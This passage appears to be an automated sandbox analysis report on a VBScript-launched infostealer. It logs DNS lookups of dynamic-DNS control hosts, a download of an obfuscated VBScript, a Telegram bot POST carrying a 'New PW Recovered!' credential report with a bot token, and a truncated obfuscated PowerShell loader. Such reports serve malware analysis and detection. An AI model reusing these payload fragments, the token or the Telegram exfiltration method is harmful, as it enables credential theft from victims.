Nov 28, 2022 20:45:17.912461042 CET	1.1.1.1	192.168.11.20	0xddb9	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:20.169534922 CET	1.1.1.1	192.168.11.20	0xf365	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:46:20.117671967 CET	1.1.1.1	192.168.11.20	0xf425	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:46:22.390732050 CET	1.1.1.1	192.168.11.20	0x6a53	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:05.572294950 CET	1.1.1.1	192.168.11.20	0xfa4b	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2022 20:47:06.684719086 CET	1.1.1.1	192.168.11.20	0x5011	No error (0)	f64nqg.am.files.1drv.com	am-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2022 20:47:06.684719086 CET	1.1.1.1	192.168.11.20	0x5011	No error (0)	am-files.fe.1drv.com	odc-am-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2022 20:47:23.645587921 CET	1.1.1.1	192.168.11.20	0xe2f0	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:25.907448053 CET	1.1.1.1	192.168.11.20	0xa39d	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:47.212587118 CET	1.1.1.1	192.168.11.20	0x54dc	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:48:28.608522892 CET	1.1.1.1	192.168.11.20	0xbbf9	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:48:30.866609097 CET	1.1.1.1	192.168.11.20	0xdc6b	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:49:33.510668039 CET	1.1.1.1	192.168.11.20	0xa92e	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:49:35.766369104 CET	1.1.1.1	192.168.11.20	0x66f3	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:50:36.982223034 CET	1.1.1.1	192.168.11.20	0x912a	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:50:39.238917112 CET	1.1.1.1	192.168.11.20	0x2109	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:51:36.603502989 CET	1.1.1.1	192.168.11.20	0x8d94	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:51:38.862339020 CET	1.1.1.1	192.168.11.20	0xd5da	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:52:36.688539982 CET	1.1.1.1	192.168.11.20	0x4d71	No error (0)	backupfrontmanny.duckdns.org		84.38.134.104	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:52:39.096400976 CET	1.1.1.1	192.168.11.20	0x7cbe	No error (0)	myfrontmannyfive.ddns.net		37.0.14.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

sinopbisikletkiralama.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49881	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49811	172.67.169.218	80	C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Timestamp	kBytes transferred	Direction	Data
Nov 28, 2022 20:45:13.148950100 CET	165	OUT	GET /Bichloride.vbs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: sinopbisikletkiralama.com Cache-Control: no-cache
Nov 28, 2022 20:45:13.298326969 CET	166	IN	HTTP/1.1 200 OK Date: Mon, 28 Nov 2022 19:45:13 GMT Content-Type: text/vbscript Content-Length: 832829 Connection: keep-alive Last-Modified: Mon, 28 Nov 2022 03:42:19 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gYGjbv%2BYZhxQTdip93AryBK6thmeUfqdXcZKM5e8MHUUzu3L%2Bjgqt4i7z%2BnZ%2BrralmeKyGtbVuf3cVrrOji9VqHb833NdXi5IextzWNJQh22tUqszkt8%2Fxp7%2FuuoD08Dsv3cc5egDqGzaHhH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 77159a493e915c1a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 54 72 38 20 3d 20 54 72 38 20 26 20 22 36 77 4c 54 71 75 73 43 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 4a 44 71 42 37 51 41 44 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 42 78 41 5a 74 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 78 41 5a 75 4c 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 56 43 51 49 36 77 4a 7a 62 48 45 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 42 6d 34 74 38 4a 41 54 72 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 71 6b 6e 63 51 47 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 62 69 65 76 72 41 70 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 6b 47 63 51 47 62 67 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 63 4f 63 41 41 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 63 51 47 62 36 77 4c 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 49 31 31 50 72 41 74 59 46 63 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 51 47 62 61 6b 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 44 72 41 72 72 45 36 77 49 44 52 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 48 45 42 6d 2b 73 43 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 78 6d 36 4a 36 33 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 45 42 6d 2b 73 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 43 55 6e 6e 48 67 77 41 42 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 41 41 41 42 41 41 63 51 47 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 62 36 77 4c 2b 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 72 6f 48 44 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 45 41 41 4f 73 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 43 38 6b 42 78 41 5a 74 54 63 51 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 47 62 36 77 4a 49 4d 49 6e 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 72 36 77 4c 4d 2b 65 73 43 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 32 45 57 4a 75 22 0d 0a 54 Data Ascii: Tr8 = Tr8 & "6wLTqusC"Tr8 = Tr8 & "JDqB7QADAA"Tr8 = Tr8 & "BxAZt"Tr8 = Tr8 & "xAZuL"Tr8 = Tr8 & "VCQI6wJzbHE"Tr8 = Tr8 & "Bm4t8JATrA"Tr8 = Tr8 & "qkncQG"Tr8 = Tr8 & "bievrAp"Tr8 = Tr8 & "kGcQGbg"Tr8 = Tr8 & "cOcAAAA"Tr8 = Tr8 & "cQGb6wL"Tr8 = Tr8 & "I11PrAtYFc"Tr8 = Tr8 & "QGbak"Tr8 = Tr8 & "DrArrE6wIDR"Tr8 = Tr8 & "HEBm+sC"Tr8 = Tr8 & "xm6J63"Tr8 = Tr8 & "EBm+s"Tr8 = Tr8 & "CUnnHgwABA"Tr8 = Tr8 & "AAAABAAcQG"Tr8 = Tr8 & "b6wL+"Tr8 = Tr8 & "roHDA"Tr8 = Tr8 & "AEAAOs"Tr8 = Tr8 & "C8kBxAZtTcQ"Tr8 = Tr8 & "Gb6wJIMIn"Tr8 = Tr8 & "r6wLM+esC"Tr8 = Tr8 & "2EWJu"T
Nov 28, 2022 20:45:13.298404932 CET	168	IN	Data Raw: 72 38 20 3d 20 54 72 38 20 26 20 22 77 51 42 41 41 42 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 78 41 5a 76 72 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 76 58 74 67 63 4d 45 41 51 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 Data Ascii: r8 = Tr8 & "wQBAAB"Tr8 = Tr8 & "xAZvrA"Tr8 = Tr8 & "vXtgcMEAQAA"Tr8 = Tr8 & "6wJl5"Tr8 = Tr8 & "OsCsXlT"Tr8 = Tr8 & "6wKMRXEB"Tr8 = Tr8 & "m2r/c"Tr8 = Tr8 & "QGbcQ"Tr8 = Tr8 & "Gbg8I"Tr8 = Tr8 & "F6wLi"Tr8 = Tr8 & "73EBmzH"
Nov 28, 2022 20:45:13.298463106 CET	169	IN	Data Raw: 62 33 4c 68 53 30 4c 6c 61 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 43 68 35 50 48 50 4b 70 69 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 6a 44 4a 46 66 6d 44 31 67 4b 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 61 4a 6f 39 49 5a Data Ascii: b3LhS0Lla"Tr8 = Tr8 & "Ch5PHPKpi"Tr8 = Tr8 & "jDJFfmD1gK"Tr8 = Tr8 & "aJo9IZNsfJ6"Tr8 = Tr8 & "ccTYOXb"Tr8 = Tr8 & "2u4J0"Tr8 = Tr8 & "FZ4Sxg+8g"Tr8 = Tr8 & "u7tVBVlDR"Tr8 = Tr8 & "CvJ8r"Tr8 = Tr8 & "Wz/m89Ut"Tr8 = Tr8 & "Q
Nov 28, 2022 20:45:13.298548937 CET	170	IN	Data Raw: 4c 30 4e 53 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 75 43 44 57 69 6f 6d 32 4e 2b 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 74 6f 5a 55 32 41 58 48 59 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 31 45 2f 52 4f 22 0d 0a 54 72 38 Data Ascii: L0NS"Tr8 = Tr8 & "uCDWiom2N+"Tr8 = Tr8 & "toZU2AXHY"Tr8 = Tr8 & "1E/RO"Tr8 = Tr8 & "jKYKtXqT"Tr8 = Tr8 & "/bc9Cukp4A"Tr8 = Tr8 & "jJFwPy"Tr8 = Tr8 & "0Q6t36VOjJ"Tr8 = Tr8 & "+lVOK+jVcD6"Tr8 = Tr8 & "qhnTYRqx"Tr8 = Tr8 & "lL
Nov 28, 2022 20:45:13.298604965 CET	172	IN	Data Raw: 20 26 20 22 41 41 41 41 41 41 41 41 41 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 41 41 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 41 41 41 41 41 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 41 33 4c 74 22 0d 0a Data Ascii: & "AAAAAAAAAAA"Tr8 = Tr8 & "AAAAA"Tr8 = Tr8 & "AAAAAA"Tr8 = Tr8 & "AA3Lt"Tr8 = Tr8 & "KYWPL"Tr8 = Tr8 & "1ZM5O7jo2"Tr8 = Tr8 & "CmzYz"Tr8 = Tr8 & "UKxjg7LJN31"Tr8 = Tr8 & "XYT54nGIj3"Tr8 = Tr8 & "o/oJSOIQePT"Tr8 = Tr8 & "A
Nov 28, 2022 20:45:13.298662901 CET	173	IN	Data Raw: 54 72 38 20 26 20 22 67 4b 53 2f 4c 72 68 61 6d 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 2f 6d 66 4e 31 7a 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 38 36 2b 32 45 35 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 49 59 6b 65 30 38 Data Ascii: Tr8 & "gKS/Lrham"Tr8 = Tr8 & "/mfN1z"Tr8 = Tr8 & "86+2E5"Tr8 = Tr8 & "IYke08Hb9L"Tr8 = Tr8 & "CSbwvb"Tr8 = Tr8 & "de+aTx"Tr8 = Tr8 & "B5c4op"Tr8 = Tr8 & "Kn7+T9MK"Tr8 = Tr8 & "xV9O5"Tr8 = Tr8 & "Bb53h"Tr8 = Tr8 & "ynXTTIg"
Nov 28, 2022 20:45:13.298753977 CET	174	IN	Data Raw: 31 71 75 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 50 65 31 61 77 50 69 37 4b 45 62 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 59 45 73 69 53 44 64 4f 2b 39 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 34 54 37 61 64 36 42 61 37 33 Data Ascii: 1qu"Tr8 = Tr8 & "Pe1awPi7KEb"Tr8 = Tr8 & "YEsiSDdO+9"Tr8 = Tr8 & "4T7ad6Ba73"Tr8 = Tr8 & "vPodXe3LG"Tr8 = Tr8 & "bhSiKch"Tr8 = Tr8 & "qUNKBroE"Tr8 = Tr8 & "HQnh5fi"Tr8 = Tr8 & "xApc5Zohh"Tr8 = Tr8 & "vadjPyO/wBj"Tr8 = Tr8 &
Nov 28, 2022 20:45:13.298831940 CET	176	IN	Data Raw: 26 20 22 58 6e 77 48 61 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 49 49 70 6b 49 30 45 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 41 70 4c 61 68 6f 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 62 4c 33 6f 71 34 74 66 43 22 0d 0a 54 Data Ascii: & "XnwHa"Tr8 = Tr8 & "IIpkI0E"Tr8 = Tr8 & "ApLaho"Tr8 = Tr8 & "bL3oq4tfC"Tr8 = Tr8 & "QQs3eCe"Tr8 = Tr8 & "/YRqfk0CSs"Tr8 = Tr8 & "trwNm"Tr8 = Tr8 & "FS76A6bH"Tr8 = Tr8 & "J/hvtSG4i6"Tr8 = Tr8 & "mTDZSxIOQV"Tr8 = Tr8 & "JC7
Nov 28, 2022 20:45:13.298907042 CET	177	IN	Data Raw: 72 38 20 26 20 22 36 2f 4a 31 38 6f 6b 58 47 66 49 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 58 33 36 58 51 72 6c 78 44 63 73 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 6b 6b 46 30 2f 36 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 Data Ascii: r8 & "6/J18okXGfI"Tr8 = Tr8 & "X36XQrlxDcs"Tr8 = Tr8 & "kkF0/6"Tr8 = Tr8 & "yM4kgU"Tr8 = Tr8 & "HXo9m5yxLG"Tr8 = Tr8 & "raOOOZZ"Tr8 = Tr8 & "bKGlry"Tr8 = Tr8 & "NCjcm"Tr8 = Tr8 & "OCGOvBCF31"Tr8 = Tr8 & "5LmJlwPB"Tr8 = Tr8
Nov 28, 2022 20:45:13.298962116 CET	178	IN	Data Raw: 20 22 77 52 79 34 30 47 31 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 47 4a 73 37 34 41 51 4a 48 36 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 44 73 73 6b 6b 46 57 2f 79 4a 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 42 65 35 50 59 Data Ascii: "wRy40G1"Tr8 = Tr8 & "GJs74AQJH6"Tr8 = Tr8 & "DsskkFW/yJ"Tr8 = Tr8 & "Be5PYl"Tr8 = Tr8 & "AZ9HvXZv"Tr8 = Tr8 & "Fen33kwA"Tr8 = Tr8 & "l0BkkEJ"Tr8 = Tr8 & "sEp0tKdP"Tr8 = Tr8 & "jrT23"Tr8 = Tr8 & "bddPhuC"Tr8 = Tr8 & "AbUz8
Nov 28, 2022 20:45:13.299035072 CET	180	IN	Data Raw: 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 76 79 43 75 4d 64 52 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 77 6a 49 69 76 63 65 7a 46 30 22 0d 0a 54 72 38 20 3d 20 54 72 38 20 26 20 22 31 32 64 6f 78 37 62 22 0d 0a 54 72 38 20 3d 20 54 Data Ascii: "Tr8 = Tr8 & "vyCuMdR"Tr8 = Tr8 & "wjIivcezF0"Tr8 = Tr8 & "12dox7b"Tr8 = Tr8 & "vB26q3"Tr8 = Tr8 & "VUxVUju+"Tr8 = Tr8 & "kyLl8q"Tr8 = Tr8 & "YHWMUJM9Ck"Tr8 = Tr8 & "SAOyySQV4th"Tr8 = Tr8 & "p8R1lW"Tr8 = Tr8 & "4DnugGUBil"

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49881	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-28 19:47:47 UTC	0	OUT	POST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dad181ce08d6ac Host: api.telegram.org Content-Length: 1015 Expect: 100-continue Connection: Keep-Alive
2022-11-28 19:47:47 UTC	0	IN	HTTP/1.1 100 Continue
2022-11-28 19:47:47 UTC	0	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 31 38 31 63 65 30 38 64 36 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 33 31 38 36 36 35 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 31 38 31 63 65 30 38 64 36 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 72 74 68 75 72 2f 35 34 39 31 36 33 0a 4f 53 46 75 6c Data Ascii: -----------------------------8dad181ce08d6acContent-Disposition: form-data; name="chat_id"-623186656-----------------------------8dad181ce08d6acContent-Disposition: form-data; name="caption"New PW Recovered!User Name: user/549163OSFul
2022-11-28 19:47:47 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 28 Nov 2022 19:47:47 GMT Content-Type: application/json Content-Length: 642 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":161250,"from":{"id":2135733177,"is_bot":true,"first_name":"luckyorig","username":"luckyorigbot"},"chat":{"id":-623186656,"title":"LUCKY ORIGIN LOGS","type":"group","all_members_are_administrators":true},"date":1669664867,"document":{"file_name":"user-549163 2022-11-28 20-47-46.html","mime_type":"text/html","file_id":"BQACAgEAAxkDAAECdeJjhRBjiNbAIAk5ahIRPtl8EEfyRAACEAMAAvZ6MUTQU5PwrW587ysE","file_unique_id":"AgADEAMAAvZ6MUQ","file_size":441},"caption":"New PW Recovered!\n\nUser Name: user/549163\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}

Target ID:	0
Start time:	20:44:26
Start date:	28/11/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\IMG_2022028022-0120.vbs"
Imagebase:	0x7ff677550000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	3
Start time:	20:44:31
Start date:	28/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9SkCte5ScAPo4To8AdBSe9Ur6Pu8MeCnaASu6Kr8Ch9Kl8Mo4Hy9Re6Sn9Ya6IcCFr9PaCAt5PlAre4De9St0Te9Op1Ep8NiASpASu6El8Ab9Me8No4Md9My6Sp9de6So'Ma;In`$KiSFotNoyGrrSukEpeMitDerVenMueFl2Ov=rlHPaTBrBKa Da'FjACoCDe8PiBOp9Fr3My8UdAUn8ArEGl8Fl0Gr'By;Hj`$NaSFatBuyBerDakReeRetAtrAfnBeeSt3Fo=TiHTvTTfBHe Br'DoBEs5Ha9Re0Ka8En7Cy8Ch9Bu8FoCPr8Ta6KiCIn9KoCSe5PaATrDHa8CoCFr8Om1Fe8Hj0HaACa7In9SkCReBUn6Co8SaCKe8Fo2VeCKo9FaCli5PeAmeBIn8Bi0Th9Pr2BiBHa6Bi8Un9Mi8viAGe9To1ovCBu9BlCAk5RyBUn3Sy8KnCCo9Sp7br9Dy1Ma9Pr0Id8Kr4Te8Fr9Ti'Sp;Ma`$AkSKatSaySkrOxkgoelutStrPinPaeLo4Su=AvHPaTfaBKa Be'tiBAr3Ka8LiCKa9Pr7Un9Wa1My9fo0Co8Va4Mi8Si9SoARi4Nu8Mm9Sy8Sj9Ot8hjASt8Eq6Vs'St;Op`$ReSKetSiySurKekKoePhtKlrDinPaebe5Se=CaHomTUnBJa Bi'Se8StBUs9As1Sn8Cy1Ge8Be9Sv8Ca9Gn'Ph;Hi`$SmSAntWoyMarMakCleRytRerPhnHaeAe6pr=NoHDoTFoBTu ym'SkAAfBUn9Pu1ChBRa5Tr9Sv7Af8GoAKu9Co1Sp8Sa0Bo8Ar6Ga9Ca1snBIn3Pl8DuCSu9Be7Be9Bi1Lo9Is0Bl8fr4Li8Sa9udANy8Br8Bu0Pr8Fe8Su8IdAWi9Eg7Mi9SuCSr'Ta;po`$TjSNutScyrorNekSteLrtKfrAnnUneSt7bo=SkHKwTDeBEk Sp'TrAFoCQuAEk0SpBCoDDk'le;Ab`$UnSNatWoygurKokCheSetStrVenMoeCh8yv=BrHGlTNoBFe Ne'GoBBo9We'St;TefNeuBlnencAstMeiploDanFo spfFakFoplu tr{sePCoaMerKlaTimIm 